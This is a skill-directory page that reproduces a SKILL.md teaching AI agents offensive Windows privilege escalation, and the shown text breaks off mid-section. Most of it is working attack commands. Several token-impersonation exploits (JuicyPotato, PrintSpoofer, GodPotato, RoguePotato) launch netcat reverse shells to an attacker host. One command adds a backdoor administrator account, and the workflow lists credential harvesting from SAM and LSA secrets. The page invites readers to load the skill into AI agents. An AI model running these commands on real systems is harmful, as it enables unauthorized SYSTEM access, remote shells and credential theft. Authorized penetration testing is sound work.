offensive-windows-privesc
What it does
This skill is a methodology for finding ways to gain SYSTEM or administrator rights on a Windows machine from a standard user account. It covers services, tokens, registry settings and unpatched software. It is for security professionals testing Windows hosts with written permission.
When to use it
- ✓When you have a standard user shell on a Windows host in an authorized test and need to check for higher rights.
- ✓When you want to review Windows services for unsafe paths or weak permissions.
- ✓When you need to check registry and scheduled task settings for escalation risks.
Skill link
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-windows-privesc/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“We are authorized to test this Windows workstation. Check whether my standard user can reach SYSTEM.”
5 new skills a week. 1 minute to read.
How it works
The skill runs automated enumeration, then checks current privileges, services, the registry and scheduled tasks. It then looks at token privileges and other misconfigurations, and validates each escalation path it finds.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Windows Privilege Escalation
You have a standard user shell on a Windows target. Your objective is to escalate to NT AUTHORITY\SYSTEM or local Administrator through systematic enumeration and exploitation of misconfigurations, vulnerable services, and unpatched software. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques.
Windows privilege escalation differs fundamentally from Linux. The attack surface centers on services, tokens, the registry, DLL loading mechanics, and the Windows access control model. Master these primitives and you can chain findings from any enumeration tool into a working escalation path.
Quick Workflow
- Run automated enumeration (WinPEAS, PowerUp, Seatbelt) to surface misconfigurations.
- Check current privileges -- SeImpersonate/SeAssignPrimaryToken are immediate wins.
- Enumerate services for unquoted paths, weak DACLs, and writable binaries.
- Check AlwaysInstallElevated registry keys for MSI-based escalation.
- Identify DLL hijacking opportunities in privileged processes.
- Attempt UAC bypass if running as a local admin without elevated context.
- Inspect scheduled tasks, registry autoruns, and writable PATH directories.
- Harvest credentials from SAM, DPAPI, LSA secrets, and Credential Manager.
- Check for PrintNightmare and other unpatched vulnerabilities as a last resort.
Automated Enumeration
Run automated tools first to build a comprehensive picture of the attack surface. Review output methodically -- these tools surface findings you would otherwise miss.
# WinPEAS
.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1
.\winPEASx64.exe servicesinfo # Specific checks only
# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt
# SharpUp / Seatbelt / BeRoot
.\SharpUp.exe audit
.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt
.\beRoot.exe
Token Impersonation
When your user holds SeImpersonate or SeAssignPrimaryToken privileges (common for service accounts, IIS AppPool, SQL Server, MSSQL), you can impersonate the SYSTEM token. This is one of the most reliable escalation vectors on Windows.
Privilege Check
# Check current privileges
whoami /priv
# Look for these specifically:
# SeImpersonatePrivilege - Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege - Replace a process-level token
JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)
# JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
# Common CLSIDs vary by OS version
# Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}
# Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}
# If default CLSID fails, enumerate valid ones
.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}
PrintSpoofer (Windows 10, Server 2016/2019)
# Abuses the Print Spooler service to capture a SYSTEM token
.\PrintSpoofer64.exe -i -c powershell.exe
# Direct command execution
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
GodPotato (Windows 8-11, Server 2012-2022)
# Works across a wide range of Windows versions -- choose the right .NET binary
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"
SweetPotato and RoguePotato
# SweetPotato -- combines multiple potato techniques
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"
# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999
Choose your potato based on the target OS version. PrintSpoofer and GodPotato have the broadest coverage on modern systems.
Service Misconfigurations
Windows services running as SYSTEM are a primary escalation target. Misconfigurations in service paths, permissions, and binary locations create exploitable conditions.
Unquoted Service Paths
# Find unquoted service paths with spaces
wmic service get name,displ
FAQ
What are the main areas it checks?
It checks services, token privileges, registry autorun keys, DLL loading and scheduled tasks.
Which tools does it mention?
It mentions WinPEAS, PowerUp and Seatbelt for automated checks.
Is this for authorized tests only?
Yes. It is written for systems you have permission to test.
Details
Original description by the author
Comprehensive Windows privilege escalation methodology for offensive security engagements. Covers the full attack surface from a standard user shell to NT AUTHORITY\\SYSTEM: token impersonation via SeImpersonate and SeAssignPrimaryToken privileges using JuicyPotato, PrintSpoofer, GodPotato, SweetPotato, and RoguePotato; service misconfigurations including unquoted service paths, weak service DACLs, writable service binaries, and insecure service creation permissions; AlwaysInstallElevated MSI exploitation; DLL hijacking through search order abuse, phantom DLL loading, and writable PATH directo
repo: SnailSploit/Claude-Red
Popularity
- GitHub stars
- 10k
- Ranking position
- #11968
- License
- MIT
- Updated
- 10/12/2026
Comments
- …
More skills from this repository
offensive-active-directory
10kHelps your agent plan an authorized Active Directory security test, from mapping the network to finding attack paths to Domain Admin.
offensive-netexec
10kHelps your agent use the NetExec (nxc) tool for authorized network testing, covering protocols, authentication and credential checks.
offensive-api-abuse
10kHelps your agent plan authorized API security tests that look for business logic abuse, GraphQL risks and race conditions.
offensive-api-security
10kHelps your agent run authorized security tests on REST, gRPC and WebSocket APIs, based on the OWASP API Top 10.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.